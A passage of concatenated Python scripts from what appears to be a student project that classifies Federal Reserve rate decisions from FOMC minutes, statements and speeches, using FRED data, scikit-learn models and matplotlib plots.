'+str(numWords) + '\nTotal Docs: '+str(numDocs) + '\nAvg Words Per Doc: ' + str(numWords/numDocs) + '\nStDev: ' + str(statistics.stdev(wordVec, numWords/numDocs))+ '\n') if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") args = parser.parse_args() numWords, numDocs, wordVec = minutesWordCount(args.minutes) printMetaData('minutes',numWords,numDocs,wordVec) numWords, numDocs, wordVec = speechesWordCount(args.speeches) printMetaData('speeches', numWords,numDocs,wordVec) numWords, numDocs, wordVec = statementsWordCount(args.statements) printMetaData('statements',numWords,numDocs,wordVec) <file_sep>from xml.dom.minidom import parse from array import array from urllib.request import urlopen from xml.dom import minidom from io import StringIO from lxml import etree from dateutil import parser import datetime as dt import urllib import xml.etree.ElementTree as ET import json, requests import xmltodict import numpy as np import pandas as pd import matplotlib.pyplot as plt import matplotlib.dates as mdates api_key = input("Input API Key: ") api_key = '&api_key='+api_key series = input("What series: ") start_date = input("Start Date (mm/dd/yyyy): ") end_date = input("End Date (mm/dd/yyyy - '12/31/9999' for latest): ") start_date = dt.datetime.strptime(start_date,"%m/%d/%Y").strftime("%Y-%m-%d") end_date = dt.datetime.strptime(end_date,"%m/%d/%Y").strftime("%Y-%m-%d") FRED = 'https://api.stlouisfed.org/fred/series/observations?' xmlurl = FRED+ 'series_id='+series+'&observation_start=' + start_date + '&observation_end=' + end_date + api_key +'&file_type=json' json_string = requests.get(xmlurl) data = json.loads(json_string.text) number = data["count"] gdp_array = pd.Series(number) date_list = [number] for x in range (0,number): if data["observations"][x]["value"] =='.': date_list.append(data["observations"][x]["date"]) gdp_array[x] = np.nan else: date_list.append(data["observations"][x]["date"]) gdp_array[x] = float(data["observations"][x]["value"]) dates = dt.datetime.date(dt.datetime.strptime(date_list[1], "%Y-%m-%d")) datelist = pd.date_range(pd.datetime.today(), periods = number).tolist() for x in range (0,number): tempdate = dt.datetime.strptime(date_list[x+1], "%Y-%m-%d") datelist[x] =dt.datetime.date(tempdate) fig = plt.figure() fig.suptitle(series, fontsize=14, fontweight='bold') plt.plot(datelist, gdp_array) plt.gcf().autofmt_xdate() plt.show() <file_sep>import os import csv import glob import numpy as np import pandas as pd import nltk import string import re from numpy import genfromtxt from nltk import * from nltk.corpus.reader.plaintext import PlaintextCorpusReader from nltk import word_tokenize from nltk.util import ngrams from collections import Counter def statementDate(elem): return elem[0] def createRateMoves(pathToStatements,pathToMinutes,pathToCSV): actionDF = pd.DataFrame() targetRateHistDF = pd.DataFrame() dailyRates = pd.read_csv(pathToCSV,dtype=object) priorRate = 0 actionFlag = 0 previousDayValue = 0 direction = 'unchg' for index,row in dailyRates.iterrows(): if(row['date'] > '20170101' and index < (len(dailyRates)-1)): row['DFEDTAR'] = dailyRates.iloc[index+1,1] #row['DFEDTAR'] = dailyRates[dailyRates['DFEDTAR']][index+1] chg = float(row['DFEDTAR']) - float(priorRate) if(chg>0): direction='raise' actionFlag = 1 elif(chg<0): direction='lower' actionFlag=1 else: direction='unchg' actionFlag=0 targetRateHistDF = targetRateHistDF.append({"Date":row['date'],"MinutesRelease":"","PriorRate": priorRate,"Rate":row['DFEDTAR'],"Direction":direction,"ActionFlag":int(actionFlag),"Change":chg},ignore_index=True) priorRate = row['DFEDTAR'] for file in list(glob.glob(pathToStatements+'*.txt')): actionDF = actionDF.append({"Date":str(file).split('/')[3].split('.')[0]},ignore_index=True) targetRateHistDF = targetRateHistDF[['Date','MinutesRelease','PriorRate','Rate','Direction','ActionFlag','Change']] #print(actionDF.loc[actionDF["Date"] == "20010103","Rate"]) actionDF = actionDF.sort_values(by=['Date']) actionDF.index = pd.RangeIndex(len(actionDF.index)) targetRateHistDF = targetRateHistDF[targetRateHistDF['Date'].isin(actionDF['Date'].tolist())] targetRateHistDF.index = pd.RangeIndex(len(targetRateHistDF.index)) # print(targetRateHistDF) dateArray = [] for file in list(glob.glob(pathToMinutes+'*.txt')): fileString = str(file).split('/')[3].split('.')[0].split('_') dateArray.append([fileString[0],fileString[3]]) dateArray.sort(key=statementDate,reverse=True) # print(dateArray) for i in range(len(targetRateHistDF)): meetingDate = targetRateHistDF.iloc[i,0] for j in range(len(dateArray)): if(meetingDate>dateArray[j][0]): targetRateHistDF.iloc[i,1] = dateArray[j-1][1] break targetRateHistDF.iloc[0,1] = '20000323' # print(targetRateHistDF) targetRateHistDF.to_csv('../text/history/RatesDecision.csv',header=False, index=False, sep=',') def main(): path = '../text/history/dailyRateHistory.csv' pathTwo = '../text/statements/' pathThree = '../text/minutes/' createRateMoves(pathTwo,pathThree,path) if __name__ == '__main__': main() <file_sep>import pandas as pd import os import datetime import numpy as np import bisect from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.model_selection import train_test_split """ put repeated stuff here that is used in building the models """ class modelutils: def decisionDF(decisionFile): names = ["MeetingDate", "MinutesRelease", "PreviousTarget", "PostTarget", "Direction", "ActionFlag", "Amount"] usecols = [0,1,2,3,4,5,6] dtypes={"MeetingDate":'str', "MinutesRelease":'str', "PreviousTarget":'float', "PostTarget":'float', "Direction":'str', "ActionFlag":'float', "Amount":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") # done outside of df construction as dateimte conversion can be extremely # slow without a format hint as data size grows df['MeetingDate'] = pd.to_datetime(df['MeetingDate'],format="%Y%m%d") df['MinutesRelease'] = pd.to_datetime(df['MinutesRelease'],format="%Y%m%d") return df def updateData(data, minutesReleaseDate, docDate, docText, action, amount, direction, docType): data["MinutesRelease"].append(minutesReleaseDate) data["DocDate"].append(docDate) data["Year"].append(docDate.year) data["DocText"].append(docText) data["ActionFlag"].append(action) data["Amount"].append(amount) data["Direction"].append(direction) data["DocumentType"].append(docType) def getDataCols(): return {"MinutesRelease":[],"DocDate":[], "Year":[], "DocText":[], "ActionFlag":[], "Amount":[], "Direction":[], "DocumentType":[]} """ return FedMinutes as pandas DataFrame """ def getMinutes(minutesDir, df, clean_algo, abortOnFail=False): data = modelutils.getDataCols() for files in sorted(os.listdir(minutesDir)): f, ext = os.path.splitext(files) try: # commented out for now as its not used #minutes_date = datetime.datetime.strptime(f.split("_")[0],"%Y%m%d") release_date = datetime.datetime.strptime(f.split("_")[-1],"%Y%m%d") text = clean_algo(open(os.path.join(minutesDir, files)).read().strip()) action = df[df["MinutesRelease"] == release_date].iloc[0]["ActionFlag"] amount = df[df["MinutesRelease"] == release_date].iloc[0]["Amount"] direction = df[df["MinutesRelease"] == release_date].iloc[0]["Direction"] modelutils.updateData(data, release_date, release_date, text, action, amount, direction, "minutes") except Exception as e: print("exception reading minutes, file %s" % files) print(e) if abortOnFail: quit() return pd.DataFrame(data) def getStatements(statementsDir, df, clean_algo, abortOnFail=False): data = modelutils.getDataCols() for files in sorted(os.listdir(statementsDir)): f, ext = os.path.splitext(files) try: statement_date = datetime.datetime.strptime(f.split(".")[0],'%Y%m%d') ix = modelutils.get_ix(df["MinutesRelease"].values, statement_date) release_date = df.loc[ix]["MinutesRelease"] action = df.loc[ix]["ActionFlag"] amount = df.loc[ix]["Amount"] direction = df[df["MinutesRelease"] == release_date].iloc[0]["Direction"] text = clean_algo(open(os.path.join(statementsDir,files),encoding='utf-8',errors='ignore').read().strip()) modelutils.updateData(data, release_date, statement_date, text, action, amount, direction, "statements") except Exception as e: print("exception reading statements, file %s" % files) print(e) if abortOnFail: quit() return pd.DataFrame(data) def getSpeeches(speechesDir, df, clean_algo, abortOnFail=False): data = modelutils.getDataCols() for files in sorted(os.listdir(speechesDir)): f, ext = os.path.splitext(files) try: speech_date = datetime.datetime.strptime(f.split("_")[0],'%Y%m%d') ix = modelutils.get_ix(df["MinutesRelease"].values, speech_date) release_date = df.loc[ix]["MinutesRelease"] action = df.loc[ix]["ActionFlag"] amount = df.loc[ix]["Amount"] direction = df[df["MinutesRelease"] == release_date].iloc[0]["Direction"] text = clean_algo(open(os.path.join(speechesDir,files),encoding='utf-8',errors='ignore').read().strip()) modelutils.updateData(data, release_date, speech_date, text, action, amount, direction, "speeches") except Exception as e: print("exception reading statements, file %s" % files) print(e) if abortOnFail: quit() return pd.DataFrame(data) def stackFeatures(data_set): c = pd.concat(data_set) g=c.groupby(['MinutesRelease']).agg({'MinutesRelease':['min'], 'DocDate':['min','max'], 'Year':['min'], 'ActionFlag':['max'], 'Amount' : ['mean'], 'Direction': lambda x : '_'.join(x), 'DocText': lambda x : ' '.join(x), 'DocumentType': lambda x : ' '.join(x)}) dirV = g['Direction']['<lambda>'].values return pd.DataFrame({'MinutesRelease':g['MinutesRelease']['min'].values, 'DocDate':g['DocDate']['min'].values, 'Year':g['Year']['min'].values, 'ActionFlag':g['ActionFlag']['max'].values, 'Direction':[dirV[i].split("_")[0] for i in range(len(dirV))], 'DocText':g['DocText']['<lambda>'].values, 'DocumentType':g['DocumentType']['<lambda>'].values}) def get_ix(dateV, date): dt64 = modelutils.to_np64(date) return modelutils.get_ge(dateV, dt64) def get_ge(dateV, date): return bisect.bisect_right(dateV, date) def get_lt(dateV, date): return bisect.bisect_left(dateV, date) - 1 def to_dt(date): # convert a np.datetime64 to a datetime.datetime if type(date) == datetime.datetime : return date ts = (date - np.datetime64('1970-01-01T00:00:00Z')) / np.timedelta64(1, 's') return datetime.datetime.utcfromtimestamp(ts) def to_np64(date): return np.datetime64(date) def to_days(x): return x.astype('timedelta64[D]')/np.timedelta64(1, 'D') def splitTrainTest(data_sets, train_pct): combined = pd.concat(data_sets) if type(data_sets) is list else data_sets return train_test_split(combined, test_size=1.0-train_pct) def getFeatures(train_data, test_data, ngram, Tfid=False): if Tfid : vectorizer = TfidVectorizer(stop_words="english",preprocessor=None, ngram_range=ngram) else: vectorizer = CountVectorizer(stop_words="english",preprocessor=None, ngram_range=ngram) training_features = vectorizer.fit_transform(train_data["DocText"]) test_features = vectorizer.transform(test_data["DocText"]) return training_features, test_features def getBounds(datadf): return (len(datadf), modelutils.to_dt(datadf["DocDate"].min()), modelutils.to_dt(datadf["DocDate"].max())) <file_sep># # # from __future__ import print_function import sys import os import time import datetime import numpy as np import argparse import pandas as pd from sklearn.neural_network import MLPClassifier from sklearn.metrics import accuracy_score from sklearn.metrics import precision_recall_fscore_support from clean import simple_clean from clean import complex_clean from modelutils import modelutils # example usage # run 3 nn first with one hidden layer with 10 units , then one with 2 hidden layers then one with 3 hidden layers #python ./model3_nn.py --data minutes statements --layers 10 10,10 10,10,10 --max_iter 100 --stack --ngram 15:15 # to install pytorch # conda install pytorch torchvision -c soumith def runModels(models, model_data_set, Nitr, pctTrain, ngram): results, prec,recall,f1, trainPos, testPos=[],[],[],[], np.zeros(Nitr), np.zeros(Nitr) for iter in range(Nitr): train_data, test_data = modelutils.splitTrainTest(model_data_set, pctTrain) training_features, test_features = modelutils.getFeatures(train_data, test_data, ngram) for i, m in enumerate(models): model=m[1] model.fit(training_features, train_data["ActionFlag"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["ActionFlag"], y_pred) if iter == 0: results.append(np.zeros(Nitr)) prec.append(np.zeros(Nitr)) recall.append(np.zeros(Nitr)) f1.append(np.zeros(Nitr)) results[i][iter]=acc prec_recall = precision_recall_fscore_support(test_data['ActionFlag'].tolist(), y_pred, average='binary') prec[i][iter] = prec_recall[0] recall[i][iter] = prec_recall[1] f1[i][iter] = prec_recall[2] trainPos[iter] = train_data["ActionFlag"].sum()/ len(train_data) testPos[iter] = test_data["ActionFlag"].sum()/ len(test_data) return results, trainPos, testPos, prec, recall, f1 if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', help="number of times to refit data", default=3, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['1,1']) parser.add_argument('--max_iter', help="max iterations for sklearn solver", default=250, type=int) parser.add_argument('--solver', help="solver for sklearn algo", default='liblinear') parser.add_argument('--data', nargs="+", default=["minutes", "speeches", "statements"]) parser.add_argument('--stack', action='store_true', default=False) parser.add_argument('--layers', nargs='+', default=['10,10']) parser.add_argument('-o','--output', default='../text/data_for_graphs/model2_anagrams.csv') args = parser.parse_args() clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean pctTrain, cleanA, Niter, ngram = args.pctTrain, args.cleanAlgo, args.Niter, args.ngram solver, max_iter, datasetlist = args.solver, args.max_iter, args.data if len(ngram[0].split(':')) > 1 : ngram = ngram[0] lb , ub = int(ngram.split(':')[0]), int(ngram.split(':')[1]) ngrams = [(i,i) for i in range(lb, ub+1)] else : ngrams = [(int(x.split(",")[0]),int(x.split(",")[1])) for x in ngram] assert len(datasetlist) > 0, "no data sets specified" datasetlabel=":".join(d for d in datasetlist) # fed rate decison matrix df = modelutils.decisionDF(args.decision) # datsets data_set, N, start, end = [], 0, datetime.datetime.now(), datetime.datetime(1970, 1, 1) if "minutes" in datasetlist: data_set.append(modelutils.getMinutes(args.minutes, df, clean_algo)) (N, start, end) = modelutils.getBounds(data_set[-1]) if "speeches" in datasetlist: data_set.append(modelutils.getSpeeches(args.speeches, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) if "statements" in datasetlist: data_set.append(modelutils.getStatements(args.statements, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) assert N > 0, "no data in data_set" start, end = start.strftime("%m/%d/%Y"), end.strftime("%m/%d/%Y") if args.stack: data_set = modelutils.stackFeatures(data_set) N = len(data_set) stack="True" else: stack="Flase" models=[] for nn in args.layers: hidden=tuple([int(x) for x in nn.split(",")]) model_name = "nn_" + "_".join(x for x in nn.split(",")) models.append((model_name,MLPClassifier(hidden_layer_sizes=hidden, max_iter=max_iter))) print("model {}".format(model_name)) outputDF = [] print("Determining Fed Action from minutes") print("%-20s %5s %5s %10s %10s %5s %8s %7s %10s %10s %-27s %6s %6s %6s %6s %6s %5s" % ("Model Name", "NGram", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end", "Data Sets", "TrainP", "TestP", "Prec", "Recall", "F1", "Stack")) for ngram in ngrams: results, trainPos, testPos, prec, recall, f1 = runModels(models, data_set, Niter, pctTrain, ngram) ngramstr = str(ngram[0]) + ":" + str(ngram[1]) for m, r, t, u, v in zip(models, results, prec, recall, f1): name, mu, s, precMu, recallMu, f1Mu = m[0], np.mean(r), np.std(r), np.mean(t), np.mean(u), np.mean(v) print("%-20s %5s %5s %10.4f %10.4f %5d %8.3f %7s %10s %10s %-27s %6.3f %6.3f %6.3f %6.3f %6.3f %5s" % (name, ngramstr, Niter, mu, s, N, pctTrain, cleanA, start, end, datasetlabel, np.mean(trainPos), np.mean(testPos), precMu, recallMu, f1Mu, stack)) outputDF.append([name, ngramstr, Niter, mu, s, N, pctTrain, cleanA, start, end, datasetlabel, np.mean(trainPos), np.mean(testPos), precMu, recallMu, f1Mu, stack]) print("") outputDF = pd.DataFrame(outputDF) outputDF.to_csv(args.output, index=False, header=["Model Name", "NGram", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end", "Data Sets", "TrainP", "TestP", "Prec", "Recall", "F1", "Stack"]) <file_sep>Python code for interfacing with the FRED database using your own API key. FRED_GRAPH.py is a graphing tool, the interface asks for your API, the timeseries index that you want to view, a start date, and an end date (12/31/9999 is the latest date available according to FRED). FREG_GET_CSV.py is a tool that will prompt you for the series that you want to retrieve (1 to N) and the time periods' of the series that you want to retrieve. It will then retrieve the data from FRED and create a .csv of the data, and store the .csv file into the same folder that the .py folder is located. FRED_PDF_PLOT.py is a tool that will produce a PDF of the timeplot(s) of all the data series that you ask to retrieve from FRED. <file_sep>import sys import os from matplotlib.dates import DateFormatter import datetime import matplotlib.pyplot as plt import numpy as np class RateDecision: def __init__(self, d0, d1, r0, r1, dec, d, dr): self.date0 = d0 self.date1 = d1 self.rate0 = r0 self.rate1 = r1 self.decision = dec self.direction = d self.dRate = dr def __str__(self): return "%s,%s,%.2f,%.2f,%s,%d,%.2f" % \ (self.date0.strftime("%Y%m%d"),self.date1.strftime("%Y%m%d"),self.rate0, self.rate1,self.decision,self.direction,self.dRate) class ParseWiki : """ quick code to paree the WikiPedia Fed Rate History Table and create a csv file input ../text/history/WikipediaFF.txt output ../test/history/WikipediaFFParsed.csv """ def parse(fname="../text/history/WikipediaFF.txt"): #output ../test/history/WikipediaFFParsed.csv def fmtDate(m, d, y): months=["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"] mi= months.index(m) return "%s%02d%02d" % (y, mi+1, int(d)) # hack for unrecognized character '-' from web def getff(ff): if len(ff) < 5: return ff,ff return ff[0:4], ff[5:] ss = "date,fflb,ffub,disc_rate" with open(fname) as fd: for i,line in enumerate(fd): if i == 0 : continue line=line.strip() line=line.replace("\t", " ") line=line.replace(",", " ") line=line.replace(" "," ") line=line.replace(" "," ") tokens=line.split(" ") tokens=[t for t in tokens if len(t) > 0] if len(tokens) < 4 : continue m,d,y = tokens[0], tokens[1], tokens[2] ff = tokens[3].replace("%","") fflb, ffub = getff(ff) dr = tokens[4].replace("%","") ss = "%s,%.2f,%.2f,%s" % (fmtDate(m,d,y), float(fflb),float(ffub), dr) print(ss) class HistDataReader: def readWikiCSV(fname, cutoff=datetime.datetime(year=2001, month=1, day=1, hour=0,minute=0,second=0)): # read the parsed Wikipedia data "WikipediaFFParsed.csv" # input ../test/history/WikipediaFFParsed.csv # output returns date, rates vector def DT(ds): return datetime.datetime(int(ds[0:4]),int(ds[4:6]),int(ds[6:]),0, 0, 0) dates,rates = [],[] with open(fname) as fd: for i,line in enumerate(fd): line=line.strip() dt=DT(line.split(",")[0]) if dt < cutoff : continue dates.append(dt) rates.append(float(line.split(",")[1])) return dates,rates def readMacroTrends(fname, cutoff=datetime.datetime(year=2001, month=1, day=1, hour=0,minute=0,second=0)): # read the downloaded macrotrends csv file # input ../text/history/fed-funds-rate-historical-chart.csv # output returns date, rates vector def DT(year, month, day, hour=0, minute=0, second=0): return datetime.datetime(year, month, day, hour, minute, second, 0) def parseDate(d): return DT(int(d[0:4]), int(d[5:7]), int(d[8:])) with open(fname) as fd: start=False dates,rates = [],[] for i,line in enumerate(fd): line=line.strip() if len(line) == 0 : continue if not start and len(line.split(",")) != 2 : continue if not start and len(line.split(",")) == 2 : start=True continue dt = parseDate(line.split(",")[0]) if dt < cutoff : continue dates.append(dt) rates.append(float(line.split(",")[1])) return dates,rates def getMinutesDates(dirname): # extract dates from file names of fedminutes data # input ../text/minutes - directory name holding minutes files # output returns mdates, adates - the two dates on teh minutes file names def DT(ds): return datetime.datetime(int(ds[0:4]),int(ds[4:6]),int(ds[6:]),0, 0, 0) mdates, adates = [], [] for f in sorted(os.listdir(dirname)): se = os.path.splitext(f)[0] d0, d1 = se.split("_")[0], se.split("_")[-1] mdates.append(DT(d0)) adates.append(DT(d1)) return mdates, adates def readDecision(fname): def DT(ds): return datetime.datetime(int(ds[0:4]),int(ds[4:6]),int(ds[6:]),0, 0, 0) data = [] with open(fname) as fd: for line in fd: line = line.strip() if len(line) < 2 : continue s = line.split(",") data.append(RateDecision(DT(s[0]),DT(s[1]),float(s[2]),float(s[3]),s[4],int(s[5]),float(s[6]))) return data class PlotFFHist: """ Plot MacroTrends FF, WikiPedia FF and FF minutes dates """ def plotData(macroCSV, wikiCSV, minutesDIR): dates1, rates1 = HistDataReader.readMacroTrends(macroCSV) dates2, rates2 = HistDataReader.readWikiCSV(wikiCSV) mdates, adates = HistDataReader.getMinutesDates(minutesDIR) #Fmt = DateFormatter("%Y-%m") Fmt = DateFormatter("%Y") fig, ax = plt.subplots() ax.set(title="Federal Funds Rate History") ax.plot(dates1, rates1, 'b', label='MacroTrends') ax.plot(dates2, rates2, 'r', label='WikiPedia') MaxRate=np.max(rates1) for i in range(len(mdates)): ax.plot([mdates[i],mdates[i]], [0, MaxRate], 'g') ax.xaxis.set_major_formatter(Fmt) handles, labels = ax.get_legend_handles_labels() ax.legend(handles, labels) plt.show() class CreateFedAction: def create(minutesDIR, macroCSV,tol=0.03): # using the minutes dates and the macrotrends FF data set # create a dataset which is the FED action # input minutesDIR ../text/minutes # input macrotrends ../text/history/fed-funds-rate-historical-chart.csv # output RatesDecision.csv mdates, adates = HistDataReader.getMinutesDates(minutesDIR) dates, rates = HistDataReader.readMacroTrends(macroCSV) for i in range(len(mdates)): md, ad = mdates[i], adates[i] mix = dates.index(md) aix = dates.index(ad) r0, r1 = rates[mix], rates[aix] dr = r1 - r0 if dr > tol : c,d = "raise",1 elif dr < -tol: c,d = "lower",-1 else: c,d = "unchg",0 print("%s,%s,%.2f,%.2f,%s,%d,%.2f" % (md.strftime("%Y%m%d"), ad.strftime("%Y%m%d"), rates[mix], rates[aix],c,d,dr)) def plot(decisionFile): def points(data, direction): dates = np.array([d.date1 for i,d in enumerate(data) if d.direction == direction]) ddir = np.array([d.direction for d in data if d.direction == direction]) return dates, ddir data = HistDataReader.readDecision(decisionFile) update, updir = points(data, 1) unchdate, unchdir = points(data, 0) dndate, dndir = points(data, -1) Fmt = DateFormatter("%Y") fig, ax = plt.subplots() ax.set(title="Fed Rate Decisions") ax.scatter(update, updir, c='g', marker="^") ax.scatter(unchdate, unchdir, c='b', marker="x") ax.scatter(dndate, dndir, c='r', marker="v") ax.xaxis.set_major_formatter(Fmt) plt.show() def main(): """ To Run python ./PlotData.py defaults : ../text/history/fed-funds-rate-historical-chart.csv ../text/history/WikipediaFFParsed.csv ../text/minutes ../text/history/RatesDecision.csv """ defaults=["../text/history/fed-funds-rate-historical-chart.csv", "../text/history/WikipediaFFParsed.csv", "../text/minutes", "../text/history/RatesDecision.csv" ] if len(sys.argv) == 2 and sys.argv[1] =="--help": print("Requires 3 Parameters, example usage") print("python ./PlotData.py %s %s %s" % (defaults[0], defaults[1], defaults[2])) quit() elif len(sys.argv) == 4: hist1, hist2, dirname = sys.argv[1], sys.argv[2], sys.argv[3] else: hist1, hist2, dirname = defaults[0], defaults[1], defaults[2] assert os.path.exists(hist1) and os.path.exists(hist2) and os.path.exists(dirname) #PlotFFHist.plotData(hist1, hist2, dirname) CreateFedAction.plot(defaults[3]) if __name__ == '__main__': main() <file_sep>import os import csv import glob import numpy as np import string import re import pandas as pd from numpy import genfromtxt from collections import Counter #FOMC_HISTORY[FOMC_HISTORY['a']==20181219] class docOrganizer: def __init__(self): self.columnNames = ['meetingDate','documentDate','documentType','meetingMonth','actionFlag','identifier','doctext'] self.textArray = pd.DataFrame(columns=self.columnNames) self.paths = ['../text/minutes/', '../text/statements/', '../text/speeches/'] self.FOMC_HISTORY = pd.read_csv('../text/history/RatesDecision.csv', delimiter=',' ,names =['MeetingDate','MinutesRelease','PreviousTarget','PostTarget','Direction','ActionFlag','Amount'], parse_dates=['MeetingDate','MinutesRelease']) self.FOMC_HISTORY['ActionFlag'] = self.FOMC_HISTORY['ActionFlag'].astype('int') def createDocMatrix(self): counter = 0 for i in self.paths: for files in glob.glob(i+"*.txt"): f = open(files,encoding="utf-8",errors="ignore") clean = re.sub("\\'",'',f.read()).strip() clean = re.sub("[^\x20-\x7E]", "",clean).strip() clean = re.sub("[0-9/-]+ to [0-9/-]+ percent","percenttarget ",clean) clean = re.sub("[0-9/-]+ percent","percenttarget ",clean) clean = re.sub("[0-9]+.[0-9]+ percent","dpercent",clean) clean = re.sub(r"[0-9]+","dd",clean) clean = re.sub("U.S.","US",clean).strip() clean = re.sub("p.m.","pm",clean).strip() clean = re.sub("a.m.","am",clean).strip() clean = re.sub("S&P","SP",clean).strip() clean = re.sub(r'(?<!\d)\.(?!\d)'," ",clean).strip() clean = re.sub(r""" [,;@#?!&$"]+ # Accept one or more copies of punctuation \ * # plus zero or more copies of a space """, " ", # and replace it with a single space clean, flags=re.VERBOSE) clean = re.sub('--', ' ', clean).strip() clean = re.sub("'",' ',clean).strip() clean = re.sub("- ","-",clean).strip() clean = re.sub('\(A\)', ' ', clean).strip() clean = re.sub('\(B\)', ' ', clean).strip() clean = re.sub('\(C\)', ' ', clean).strip() clean = re.sub('\(D\)', ' ', clean).strip() clean = re.sub('\(E\)', ' ', clean).strip() clean = re.sub('\(i\)', ' ', clean).strip() clean = re.sub('\(ii\)', ' ', clean).strip() clean = re.sub('\(iii\)', ' ', clean).strip() clean = re.sub('\(iv\)', ' ', clean).strip() clean = re.sub('/^\\:/',' ',clean).strip() clean=re.sub('\s+', ' ',clean).strip() doc_type = i.split("/") identifier = '' ##Get meeting date if(doc_type[2] == 'minutes'): meeting_date = files.split('/') document_date = files.split('/') meeting_date = meeting_date[3].split('_')[0] ##Get Fed action label document_date = document_date[3].split('_')[3].split('.')[0] x=self.FOMC_HISTORY[self.FOMC_HISTORY['MeetingDate'] == pd.to_datetime(meeting_date,format='%Y%m%d')].iloc[0]['Direction'] identifier = 'FOMC' if (x == 'unchg'): action = 0 else: action = 1 elif(doc_type[2] == 'statements'): meeting_date = files.split('/') meeting_date = meeting_date[3].split('_')[0].split('.')[0] document_date = meeting_date #Get Fed action label x=self.FOMC_HISTORY[self.FOMC_HISTORY['MeetingDate'] == pd.to_datetime(meeting_date,format='%Y%m%d')].iloc[0]['Direction'] identifier = 'FOMC' if (x == 'unchg'): action = 0 else: action = 1 elif(doc_type[2] == 'speeches'): meeting_date = files.split('/') identifier = files.split('/') identifier = identifier[3].split('_')[1].split('.')[0] meeting_date = meeting_date[3].split('_')[0].split('.')[0] document_date = meeting_date previous = '' for index,row in self.FOMC_HISTORY.iterrows(): if(row['MeetingDate'] > pd.to_datetime(meeting_date,format='%Y%m%d')): meeting_date = row['MeetingDate'] break previous = row['MeetingDate'] x=self.FOMC_HISTORY[self.FOMC_HISTORY['MeetingDate'] == pd.to_datetime(meeting_date,format='%Y%m%d')].iloc[0]['Direction'] if (x == 'unchg'): action = 0 else: action = 1 counter = counter + 1 self.textArray.loc[counter] = [meeting_date,document_date,doc_type[2],1,action,identifier,clean] return(self.textArray) def main(): do = docOrganizer() docMatrix = do.createDocMatrix() if __name__ == '__main__': main() <file_sep>import os import numpy as np import argparse import pandas as pd from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import MultinomialNB from sklearn.feature_extraction.text import CountVectorizer import matplotlib.pyplot as plt # # Code simulator # # This run random experiments to detect sentimate in randomly generated text # # Overview # 1) load 3 word dictionaries common, positive, negative # 2) randomly generate data using (common, positive) (common, negative), shuffle # 3) split into test training # 4) create features (X's) for trainng/test using Vectorize # 5) fit the model # 6) check its accuracy # To run download the following 3 files of common, positive and negative words: # (1) A list of 20k commonly used English Words # curl https://raw.githubusercontent.com/first20hours/google-10000-english/master/20k.txt -o 20k.txt # (2) A list of negative words # curl https://gist.githubusercontent.com/mkulakowski2/4289441/raw/dad8b64b307cd6df8068a379079becbb3f91101a/negative-words.txt -o neg_words.tx # (3) A list of positive words # curl https://gist.githubusercontent.com/mkulakowski2/4289437/raw/1bb4d7f9ee82150f339f09b5b1a0e6823d633958/positive-words.txt -o pos_words.txt # To run download the following 3 files # # # read in words from common, postive, negative # return 3 lists common, postive, negative # class Words: def __init__(self, common, neg, pos): self.common = common self.neg = neg self.pos = pos def load(commonFile, negFile, posFile): neg = [w for w in open(negFile).read().split('\n') if len(w) > 0 and w[0] != ';'] pos = [w for w in open(posFile).read().split('\n') if len(w) > 0 and w[0] != ';'] common = [w for w in open(commonFile).read().split('\n') if len(w) > 0] return Words(common, neg, pos) class Params: def __init__(self, trials, nSamples, textLen, pctSen, pctTrain, max_iter, solver): self.trials = trials self.nSamples = nSamples self.textLen = textLen self.pctSen = pctSen self.pctTrain = pctTrain self.max_iter = max_iter self.solver = solver class DataGen: # generateData # inputs # N - total sample size generated # Ncommon - number of common_words in text # Nsen - number of sentiment words in text # common_words - list of common words # pos_words - list of positive words # neg_words - list of negative words # output # returns randomly shuffeled nparray ([text0, score0], [text1, score1], ... [textN-1, scoreN-1]) # where text_i is either postive or negative def gen(words, params): def genText(Ncommon, common_words, Nsen, sen_words): words=np.concatenate((np.random.choice(sen_words, Nsen), np.random.choice(common_words, Ncommon))) np.random.shuffle(words) return " ".join(words[i] for i in range(len(words))) pos_score, neg_score = 1,0 Nsen = int(params.textLen*params.pctSen) Ncommon = params.textLen - Nsen pos_data = [[genText(Ncommon, words.common, Nsen, words.pos),pos_score] for i in range(params.nSamples)] neg_data = [[genText(Ncommon, words.common, Nsen, words.neg),neg_score] for i in range(params.nSamples)] all_data = np.concatenate((pos_data, neg_data)) np.random.shuffle(all_data) Ntrain = int(len(all_data)*params.pctTrain) train_data = pd.DataFrame(all_data[0:Ntrain],columns=['text', 'sentiment']) test_data = pd.DataFrame(all_data[Ntrain:], columns=['text', 'sentiment']) return train_data, test_data class Simulator: def trial(words, params, models, resdict, i): train_data, test_data = DataGen.gen(words, params) vectorizer = CountVectorizer(stop_words="english",preprocessor=None) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) result={} for (name, model) in models: model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["sentiment"], y_pred) resdict[name][i]=acc return pd.DataFrame(result) def run(words, params, models): max_iter, solver = params.max_iter, params.solver resdict = {name:np.zeros(params.trials) for (name,model) in models} for i in range(params.trials): Simulator.trial(words, 